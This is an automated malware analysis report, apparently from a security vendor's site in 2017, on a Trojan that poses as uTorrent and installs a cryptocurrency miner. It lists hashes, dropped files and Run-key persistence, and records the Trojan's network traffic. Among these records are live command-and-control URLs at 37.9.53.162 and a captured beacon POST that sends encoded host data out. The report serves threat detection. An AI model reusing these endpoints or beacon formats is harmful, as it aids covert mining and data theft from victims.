Trojan.Win32.Delphi_ef20686149

by malwarelabrobot on July 14th, 2017 in Malware Descriptions.

Trojan.GenericKD.5546061 (BitDefender), Trojan.Win32.Snojan.bnwg (Kaspersky), Trojan.Win32.Generic!BT (VIPRE), Trojan.DownLoader25.4477 (DrWeb), Trojan.GenericKD.5546061 (B) (Emsisoft), Artemis!EF206861499A (McAfee), Trojan.Gen.2 (Symantec), Trojan.MSIL.Crypt (Ikarus), Trojan.GenericKD.5546061 (FSecure), Win32:Dropper-gen [Drp] (AVG), Win32:Dropper-gen [Drp] (Avast), TROJ_GEN.R01BC0OG417 (TrendMicro), Trojan.Win32.Delphi.FD, Trojan.Win32.Sasfis.FD, VirTool.Win32.DelfInject.FD, GenericPhysicalDrive0.YR (Lavasoft MAS)
Behaviour: Trojan, VirTool

The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Summary

Dynamic Analysis

Static Analysis

Network Activity

Map

Strings from Dumps

Removals

MD5: ef206861499ad54ac0f664c9dbd7b12b
SHA1: 1c7daf567bfd1aa84c9e03353c8f077b4b93a3be
SHA256: d4b080a07e15afeef6c2e2add6cfd2ce38b98f293d1962ddda75dbc37b45489a
SSDeep: 1536:b8auMlgtIcwjlWMmC MhLC3mIFuLRcnPU 5iTEq2S0EUhQvmZ/9NsXGyGkS3Q:4JMlhDWMmC M42IFuFXrejzZU/GkS3Q
Size: 165568 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: MicrosoftVisualC, NETexecutable, UPolyXv05_v6
Company: Internet
Created at: 2017-06-30 14:15:19
Analyzed on: Windows7 SP1 32-bit

Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

netsh.exe:2904
csc.exe:2692
cvtres.exe:1204

The Trojan injects its code into the following process(es):

%original file name%.exe:2060
svchosts.exe:3932

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process %original file name%.exe:2060 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\Qt5WebSockets.dll.tmp (2712 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\platforms\qwindows.dll.tmp (16304 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\EA618097E393409AFA316F0F87E2C202_46519A157B2BAB4EE4C3983F3D40BE84 (1480 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\ssleay32.dll.tmp (5128 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\libeay32.dll.tmp (17572 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\9_5kvxh8.0.cs (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\8vach8vach.zip (1262872 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\svchosts.exe.tmp (104386 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\EA618097E393409AFA316F0F87E2C202_46519A157B2BAB4EE4C3983F3D40BE84 (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\wscomment.vbs:Zone.Identifier (26 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\plib.dll.tmp (1568 bytes)
C:\Windows\System32\uTorrents\uTorrents.exe (673 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\svchosts.exe (1018 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\TarE08F.tmp (2712 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\CabE08E.tmp (51 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\9_5kvxh8.cmdline (236 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\vccorlib110.dll.tmp (4984 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\svchosts.exe:Zone.Identifier (26 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\msvcp110.dll.tmp (10448 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\Qt5Network.dll.tmp (14600 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\sysdsengert.xml (462 bytes)
C:\Windows\System32\uTorrents\uTorrents.exe:Zone.Identifier (26 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\wscomment.vbs (803 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\msvcr110.dll.tmp (15568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\cudart32_60.dll.tmp (4984 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\Qt5Core.dll.tmp (71595 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\9_5kvxh8.out (303 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE (1194 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\run.bat (61 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\run.bat:Zone.Identifier (26 bytes)

The Trojan deletes the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\9_5kvxh8.out (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\TarE08F.tmp (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\9_5kvxh8.err (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\CabE08E.tmp (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\9_5kvxh8.cmdline (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\9_5kvxh8.dll (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\9_5kvxh8.0.cs (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\8vach8vach.zip (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\9_5kvxh8.tmp (0 bytes)

The process csc.exe:2692 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\9_5kvxh8.out (396 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\CSCE188.tmp (652 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\9_5kvxh8.dll (2994 bytes)

The Trojan deletes the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\CSCE188.tmp (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RESE189.tmp (0 bytes)

The process cvtres.exe:1204 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RESE189.tmp (3666 bytes)

The process svchosts.exe:3932 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\Qt5Core.dll (339 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\ssleay32.dll (270 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\Qt5Network.dll (847 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\minergate-cli\log\minergate.log (295 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\Qt5WebSockets.dll (102 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\minergate-cli\miners.ini (57 bytes)

The Trojan deletes the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\minergate-cli\miners.ini.Qb3932 (0 bytes)

Registry activity

The process %original file name%.exe:2060 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Tracing\ef206861499ad54ac0f664c9dbd7b12b_RASMANCS]
"FileDirectory" = "%windir%\tracing"

[HKLM\SOFTWARE\Microsoft\Tracing\ef206861499ad54ac0f664c9dbd7b12b_RASAPI32]
"ConsoleTracingMask" = "4294901760"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Microsoft\Tracing\ef206861499ad54ac0f664c9dbd7b12b_RASMANCS]
"EnableFileTracing" = "0"
"FileTracingMask" = "4294901760"
"MaxFileSize" = "1048576"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Classes\Local Settings\MuiCache\30\52C64B7E]
"LanguageList" = "en-US, en"

[HKLM\SOFTWARE\Microsoft\Tracing\ef206861499ad54ac0f664c9dbd7b12b_RASAPI32]
"FileTracingMask" = "4294901760"
"EnableFileTracing" = "0"
"MaxFileSize" = "1048576"
"EnableConsoleTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\ef206861499ad54ac0f664c9dbd7b12b_RASMANCS]
"ConsoleTracingMask" = "4294901760"
"EnableConsoleTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\ef206861499ad54ac0f664c9dbd7b12b_RASAPI32]
"FileDirectory" = "%windir%\tracing"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"uTorrents" = "C:\Windows\system32\uTorrents\uTorrents.exe"

"WindowsData" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\wscomment.vbs"

The Trojan deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The process netsh.exe:2904 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\30\52C64B7E\@%SystemRoot%\system32]
"napipsec.dll,-1" = "IPsec Relying Party"
"napipsec.dll,-3" = "Microsoft Corporation"
"napipsec.dll,-2" = "Provides IPsec based enforcement for Network Access Protection"
"napipsec.dll,-4" = "1.0"

[HKCU\Software\Classes\Local Settings\MuiCache\30\52C64B7E]
"LanguageList" = "en-US, en"

[HKCU\Software\Classes\Local Settings\MuiCache\30\52C64B7E\@%SystemRoot%\system32]
"eapqec.dll,-102" = "1.0"
"eapqec.dll,-103" = "Microsoft Corporation"
"eapqec.dll,-100" = "EAP Quarantine Enforcement Client"
"eapqec.dll,-101" = "Provides Network Access Protection enforcement for EAP authenticated network connections, such as those used with 802.1X and VPN technologies."
"dhcpqec.dll,-102" = "Microsoft Corporation"
"dhcpqec.dll,-103" = "1.0"
"dhcpqec.dll,-100" = "DHCP Quarantine Enforcement Client"
"dhcpqec.dll,-101" = "Provides DHCP based enforcement for NAP"
"tsgqec.dll,-102" = "1.0"
"tsgqec.dll,-103" = "Microsoft Corporation"
"tsgqec.dll,-100" = "RD Gateway Quarantine Enforcement Client"
"tsgqec.dll,-101" = "Provides RD Gateway enforcement for NAP"

Dropped PE files

MD5	File path
9cd1ed04e31fbdce1d71fe0e73107b68	c:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\Qt5Core.dll
55d64441085b6eab00efdd02676753d3	c:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\Qt5Network.dll
c820b0e4945d9d3817c399912df82154	c:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\Qt5WebSockets.dll
2a4a6c3440f3ec27ea7b2ec417808445	c:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\cudart32_60.dll
1e8bd34482311e751aa976ea6c95d176	c:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\libeay32.dll
3e29914113ec4b968ba5eb1f6d194a0a	c:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\msvcp110.dll
4ba25d2cbe1587a841dcfb8c8c4a6ea6	c:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\msvcr110.dll
2281b176762cb73856c92e7f4ff139a4	c:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\platforms\qwindows.dll
1ecc163d6180f3de8c00af855ea0a6c3	c:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\plib.dll
c84d8f59938900d0fca297df3be8ffbd	c:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\ssleay32.dll
e689cefa64997fa01ba6c4f988e2c94f	c:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\svchosts.exe
c5c2295981eedeff9924889a7f084cc2	c:\Users\"%CurrentUserName%"\AppData\Roaming\WindowsData\vccorlib110.dll
6ded8fcbf5f1d9e422b327ca51625e24	c:\Users\"%CurrentUserName%"\AppData\Roaming\sysdsengert.xml

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

Company Name: BitTorrent Inc.
Product Name: HD Player
Product Version: 3.5.0.43804
Legal Copyright: (c)2016 BitTorrent, Inc. All Rights Reserved.
Legal Trademarks:
Original Filename: uTorrents.exe
Internal Name: uTorrents.exe
File Version: 3.5.0.43804
File Description: uTorrent
Comments:
Language: English (United States)

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	8192	139264	134144	5.06193	e556a0f04657b2c8579c537f85c86b9c
.rsrc	147456	24576	16896	2.68995	8f4686a13449b328d9b5e1aba3656bfb
.reloc	172032	12	512	0.070639	c7889baa40c47612479f0a762c2bea89

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL	IP
hxxp://e8218.dscb1.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS56bKHAoUD+Oyl+0LhPg9JxyQm4gQUf9Nlp8Ld7LvwMAnzQzn6Aq8zMTMCED141/l2SWCyYX308B7Khio=
hxxp://e8218.dscb1.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQe6LNDJdqx+JOp7hVgTeaGFJ/CQgQUljtT8Hkzl699g+8uK8zKt4YecmYCEAzzU2mpcQdiw29oBfyeRdY=
hxxp://37.9.53.162/instal/config.txt
hxxp://37.9.53.162/instal/bot/page.php
hxxp://37.9.53.162/instal/zip.dat
hxxp://37.9.53.162/instal/data32.zip
hxxp://clients.l.google.com/ocsp/MEkwRzBFMEMwQTAJBgUrDgMCGgUABBTy4Gr5hYodjXCbSRkjeqm1Gih+ZAQUSt0GFhu89mi1dvWBtrtiGrpagS8CCEAdrg7dKqon
hxxp://clients.l.google.com/ocsp/MEkwRzBFMEMwQTAJBgUrDgMCGgUABBTy4Gr5hYodjXCbSRkjeqm1Gih+ZAQUSt0GFhu89mi1dvWBtrtiGrpagS8CCAisW18hq2CY
hxxp://e8218.dscb1.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRIt2RJ89X++hEzqoBeQg8PymQ2UQQUANhaTCXBIuWLMe9tuvPMXynxDWECEGVSJuGyLhjhWQ8phawi51w=
hxxp://a1363.dscg.akamai.net/pki/crl/products/WinPCA.crl
hxxp://clients1.google.com/ocsp/MEkwRzBFMEMwQTAJBgUrDgMCGgUABBTy4Gr5hYodjXCbSRkjeqm1Gih+ZAQUSt0GFhu89mi1dvWBtrtiGrpagS8CCEAdrg7dKqon	216.58.214.206
hxxp://sv.symcd.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQe6LNDJdqx+JOp7hVgTeaGFJ/CQgQUljtT8Hkzl699g+8uK8zKt4YecmYCEAzzU2mpcQdiw29oBfyeRdY=	23.46.123.27
hxxp://s2.symcb.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS56bKHAoUD+Oyl+0LhPg9JxyQm4gQUf9Nlp8Ld7LvwMAnzQzn6Aq8zMTMCED141/l2SWCyYX308B7Khio=	23.46.123.27
hxxp://clients1.google.com/ocsp/MEkwRzBFMEMwQTAJBgUrDgMCGgUABBTy4Gr5hYodjXCbSRkjeqm1Gih+ZAQUSt0GFhu89mi1dvWBtrtiGrpagS8CCAisW18hq2CY	216.58.214.206
hxxp://crl.microsoft.com/pki/crl/products/WinPCA.crl	62.140.236.171
hxxp://ocsp.verisign.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRIt2RJ89X++hEzqoBeQg8PymQ2UQQUANhaTCXBIuWLMe9tuvPMXynxDWECEGVSJuGyLhjhWQ8phawi51w=	23.46.123.27
minergate.com	138.201.20.89
bcn.pool.minergate.com	176.9.147.78
google.ru	216.58.214.195

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET POLICY PE EXE or DLL Windows file download HTTP
ET MALWARE Possible Windows executable sent when remote host claims to send a Text File

Traffic

POST /instal/bot/page.php HTTP/1.1

User-Agent: E9BC3BD76216AFA560BFB5ACAF5731A3

Content-Type: application/x-www-form-urlencoded

Host: 37.9.53.162

Content-Length: 527

Expect: 100-continue

Connection: Keep-Alive


HTTP/1.1 100 Continue
....



id=Yv5qnieE3DE4fxm7dzvlnHi6E6TAhtY2BmRWutk2^0s=&os=MfQKj3XzrylCMpQCRF4
tfGf^SGm8puGHFkM0mWcHGUo=&pv=5bb1yjTzZAFWCbGbcS8nPbOf8LZLM^bPpl5r2W8dh
04=&ip=ykRUktVAsY4xSKKEdd47Srt9ZhiPusUtrzD3HZghHBB8T38zxR5GSa5U//rHI^g
vNRGB3tZFtEH5UGWcS2Be1g==&cn=U^yDh5fxezG7fYvtkts7YDsix612gxq2tGLaKktfJ
Pk=&lr=Tam764af7tCRjRZe079tWfa5l^tDmGMyudqxoxRCewA=&ct=jphU22OfcLPCqCD
ZZ9ns3whvMoKaCpK/YRdfidL/L6o=&bv=LzDIKjMyxt1^jl3AhnDWM9wrUFRJHbYMJoecY
H5y7bg=&anti=w2MHvco3ITKVODMct9Ontf9Nug^^2FghNxtz1ZD7NBo=&firw=w2MHvco
3ITKVODMct9Ontf9Nug^^2FghNxtz1ZD7NBo=
HTTP/1.1 200 OK

Server: nginx

Date: Thu, 13 Jul 2017 05:07:58 GMT

Content-Type: text/html

Content-Length: 0

Connection: keep-alive

HTTP/1.1 200 OK..Server: nginx..Date: Thu, 13 Jul 2017 05:07:58 GMT..C
ontent-Type: text/html..Content-Length: 0..Connection: keep-alive..

GET /ocsp/MEkwRzBFMEMwQTAJBgUrDgMCGgUABBTy4Gr5hYodjXCbSRkjeqm1Gih+ZAQUSt0GFhu89mi1dvWBtrtiGrpagS8CCEAdrg7dKqon HTTP/1.1

Cache-Control: max-age = 345600

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: clients1.google.com


HTTP/1.1 404 Not Found

Date: Thu, 13 Jul 2017 05:02:09 GMT

Content-Type: text/html; charset=UTF-8

Server: ocsp_responder

Content-Length: 1668

X-XSS-Protection: 1; mode=block

X-Frame-Options: SAMEORIGIN
<!DOCTYPE html>.<html lang=en>.  <meta charset=utf-8>
;.  <meta name=viewport content="initial-scale=1, minimum-scale=1, 
width=device-width">.  <title>Error 404 (Not Found)!!1</ti
tle>.  <style>.    *{margin:0;padding:0}html,code{font:15px/2
2px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body
{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px
}* > body{background:url(//VVV.google.com/images/errors/robot.png) 
100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:h
idden}ins{color:#777;text-decoration:none}a img{border:0}@media screen
 and (max-width:772px){body{background:none;margin-top:0;max-width:non
e;padding-right:0}}#logo{background:url(//VVV.google.com/images/brandi
ng/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:
-5px}@media only screen and (min-resolution:192dpi){#logo{background:u
rl(//VVV.google.com/images/branding/googlelogo/2x/googlelogo_color_150
x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//VVV.googl
e.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}
@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{backgr
ound:url(//VVV.google.com/images/branding/googlelogo/2x/googlelogo_col
or_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{di
splay:inline-block;height:54px;width:150px}.  </style>.  <a h
ref=//VVV.google.com/><span id=logo aria-label=Google></sp
an></a>.  <p><b>404.</b> <ins>Tha<<< skipped >>>

GET /ocsp/MEkwRzBFMEMwQTAJBgUrDgMCGgUABBTy4Gr5hYodjXCbSRkjeqm1Gih+ZAQUSt0GFhu89mi1dvWBtrtiGrpagS8CCAisW18hq2CY HTTP/1.1

Cache-Control: max-age = 345600

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: clients1.google.com


HTTP/1.1 404 Not Found

Date: Thu, 13 Jul 2017 05:02:14 GMT

Content-Type: text/html; charset=UTF-8

Server: ocsp_responder

Content-Length: 1668

X-XSS-Protection: 1; mode=block

X-Frame-Options: SAMEORIGIN
<!DOCTYPE html>.<html lang=en>.  <meta charset=utf-8>
;.  <meta name=viewport content="initial-scale=1, minimum-scale=1, 
width=device-width">.  <title>Error 404 (Not Found)!!1</ti
tle>.  <style>.    *{margin:0;padding:0}html,code{font:15px/2
2px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body
{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px
}* > body{background:url(//VVV.google.com/images/errors/robot.png) 
100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:h
idden}ins{color:#777;text-decoration:none}a img{border:0}@media screen
 and (max-width:772px){body{background:none;margin-top:0;max-width:non
e;padding-right:0}}#logo{background:url(//VVV.google.com/images/brandi
ng/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:
-5px}@media only screen and (min-resolution:192dpi){#logo{background:u
rl(//VVV.google.com/images/branding/googlelogo/2x/googlelogo_color_150
x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//VVV.googl
e.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}
@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{backgr
ound:url(//VVV.google.com/images/branding/googlelogo/2x/googlelogo_col
or_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{di
splay:inline-block;height:54px;width:150px}.  </style>.  <a h
ref=//VVV.google.com/><span id=logo aria-label=Google></sp
an></a>.  <p><b>404.</b> <ins>Tha<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRIt2RJ89X++hEzqoBeQg8PymQ2UQQUANhaTCXBIuWLMe9tuvPMXynxDWECEGVSJuGyLhjhWQ8phawi51w= HTTP/1.1

Cache-Control: max-age = 440358

Connection: Keep-Alive

Accept: */*

If-Modified-Since: Mon, 18 Nov 2013 13:12:21 GMT

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.verisign.com


HTTP/1.1 200 OK

Server: nginx/1.10.2

Content-Type: application/ocsp-response

Content-Length: 1454

content-transfer-encoding: binary

Cache-Control: max-age=314896, public, no-transform, must-revalidate

Last-Modified: Sun, 9 Jul 2017 20:27:31 GMT

Expires: Sun, 16 Jul 2017 20:27:31 GMT

Date: Thu, 13 Jul 2017 05:02:20 GMT

Connection: keep-alive
0..........0..... .....0......0...0........FC..&..<.0...Y......2017
0709202731Z0s0q0I0... ........H.dI.....3..^B...d6Q....ZL%."..1.m..._).
.a..eR&.....Y.)..".\....20170709202731Z....20170716202731Z0...*.H.....
..........Cf..1...)f..7..KX.....q...)!yp...?..?.d...0..........fN....9
{../w.S.Y.9.v.lKg......r..6C..b.uv..:...1.....s......X4.E.:..~..4..l.N
..\..x.Kz.&....Hh.9.Z.,..W6-.O..S.....Z.nO&..L......Lo]./\..c.s...N[..
."...=V...m0!.....n[. ...h.D..(..^.<.).O...|..T.5.,..r....0...0...0
..4.......My_e.\....'....j0...*.H........0_1.0...U....US1.0...U....Ver
iSign, Inc.1705..U....Class 3 Public Primary Certification Authority0.
..161122000000Z..171214235959Z0..1.0...U....US1.0...U....Symantec Corp
oration1.0...U....Symantec Trust Network1?0=..U...6Symantec Class 3 PC
A - G1 OCSP Responder Certificate 50.."0...*.H.............0..........
...4..IP.....B..h.....]..).]w.!"..a..{...="....._...~.s1.E.......;...6
&/...\2..A....\..T aH:.8lH^.....l.v.$...K=sZf.*.|.%.Pb.......B..*f.T\w
.:.s.... ....9..4..cV...3.qc.c..j<.f.....>1X.I...P%?.........5R-
....Ca14..X.U....u.....:.z.\.k..b.E.v..,.J................0..0...U....
0.0l..U. .e0c0a..`.H...E....0R0&.. .........hXXp://VVV.symauth.com/cps
0(.. .......0...hXXp://VVV.symauth.com/rpa0...U.%..0... .......0...U..
......0... .....0......0"..U....0...0.1.0...U....TGV-OFF-470...*.H....
.........G..\..R.P..e]...N.....m.....4f......b4"8v..b.R....`.Auz......
....2=...@..........5..cWh....J......r...g.h......Kw'...j.@...x.....<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBS56bKHAoUD+Oyl+0LhPg9JxyQm4gQUf9Nlp8Ld7LvwMAnzQzn6Aq8zMTMCED141/l2SWCyYX308B7Khio= HTTP/1.1

Cache-Control: max-age = 432038

Connection: Keep-Alive

Accept: */*

If-Modified-Since: Tue, 11 Oct 2016 10:05:24 GMT

User-Agent: Microsoft-CryptoAPI/6.1

Host: s2.symcb.com


HTTP/1.1 200 OK

Server: nginx/1.10.2

Content-Type: application/ocsp-response

Content-Length: 1763

content-transfer-encoding: binary

Cache-Control: max-age=349248, public, no-transform, must-revalidate

Last-Modified: Mon, 10 Jul 2017 05:58:05 GMT

Expires: Mon, 17 Jul 2017 05:58:05 GMT

Date: Thu, 13 Jul 2017 05:01:28 GMT

Connection: keep-alive
0..........0..... .....0......0...0.......WI.....L.c=...r..7Z..2017071
0055805Z0s0q0I0... ...................B.>.I.$&.....e......0..C9...3
13..=x..vI`.a}.....*....20170710055805Z....20170717055805Z0...*.H.....
........D...=l. ...QC~.......A.Wu..A....K...ih.(5........!..>.1...~
.Cu*..&...%'....s.......J'Z..y..N.n.C'O...Bv....x..m)..`..........Dx..
Vp....BTc]..T...0~...)_dQ.a ,..o...E..a/...ve.P:Av... .4..o....U......
.`y,......x.In.=..!.o.......M..?w..QV.6<;L5.O.s.....VUUG*....0...0.
..0..........^..)......<...T.0...*.H........0..1.0...U....US1.0...U
....VeriSign, Inc.1.0...U....VeriSign Trust Network1:08..U...1(c) 2006
 VeriSign, Inc. - For authorized use only1E0C..U...<VeriSign Class 
3 Public Primary Certification Authority - G50...161122000000Z..171214
235959Z0..1.0...U....US1.0...U....Symantec Corporation1.0...U....Syman
tec Trust Network1?0=..U...6Symantec Class 3 PCA - G5 OCSP Responder C
ertificate 50.."0...*.H.............0.............................m..|
........1rUZN.b.......t. d......O...NY.lR..k .Q.z.g.4(,...Rp.7...0C.j.
)Z........ ~..3...x.b.-..... S^0<6...!.(..2}...T.fX}...6...(...1...
#..H..|`.yy.<B.z.q$......u.-..K.!......y..8..--....?.,.[.[...5.e.4.
....D..t.;....).J....\fV..G.........0...0...U.......0.0l..U. .e0c0a..`
.H...E....0R0&.. .........hXXp://VVV.symauth.com/cps0(.. .......0...ht
tp://VVV.symauth.com/rpa0...U.%..0... .......0...U...........0... ....
.0......0"..U....0...0.1.0...U....TGV-OFF-500...U.......WI.....L.c=...
r..7Z0...U.#..0.....e......0..C9...3130...*.H.............<wN..<<< skipped >>>

GET /pki/crl/products/WinPCA.crl HTTP/1.1

Cache-Control: max-age = 900

Connection: Keep-Alive

Accept: */*

If-Modified-Since: Tue, 01 Oct 2013 05:02:51 GMT

If-None-Match: "8071417b63bece1:0"

User-Agent: Microsoft-CryptoAPI/6.1

Host: crl.microsoft.com


HTTP/1.1 200 OK

Content-Length: 530

Content-Type: application/pkix-crl

Last-Modified: Thu, 15 Jun 2017 00:44:03 GMT

ETag: 0x8D4B3879F1EB8A8

Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0

x-ms-request-id: ddb8f22a-0001-002b-2f79-e533c8000000

x-ms-version: 2009-09-19

x-ms-lease-status: unlocked

x-ms-blob-type: BlockBlob

Date: Thu, 13 Jul 2017 05:02:26 GMT

Connection: keep-alive
0...0.....0...*.H........0..1.0...U....US1.0...U....Washington1.0...U.
...Redmond1.0...U....Microsoft Corporation1 0)..U..."Microsoft Windows
 Verification PCA..151202080000Z..430418080000Z.A0?0...U.#..0.......p.
...........<.J0... .....7.......0...U......90...*.H..............I.
..MYp.....yh..$3..F.D....Qe]....~...>.Ye.h...L.nQ..091.=.G..s.D....
.....g)...4.'........B....l#....c...e..U......Z .[.,.x..h:M~..mS./p..F
......l.G.H<.".y.B.5.."\|.Hi`N=j.....;w.......o.*......C)....U..3Mt
.}......X......H.....|d...s..`.8F.l.......R.C....HTTP/1.1 200 OK..Cont
ent-Length: 530..Content-Type: application/pkix-crl..Last-Modified: Th
u, 15 Jun 2017 00:44:03 GMT..ETag: 0x8D4B3879F1EB8A8..Server: Windows-
Azure-Blob/1.0 Microsoft-HTTPAPI/2.0..x-ms-request-id: ddb8f22a-0001-0
02b-2f79-e533c8000000..x-ms-version: 2009-09-19..x-ms-lease-status: un
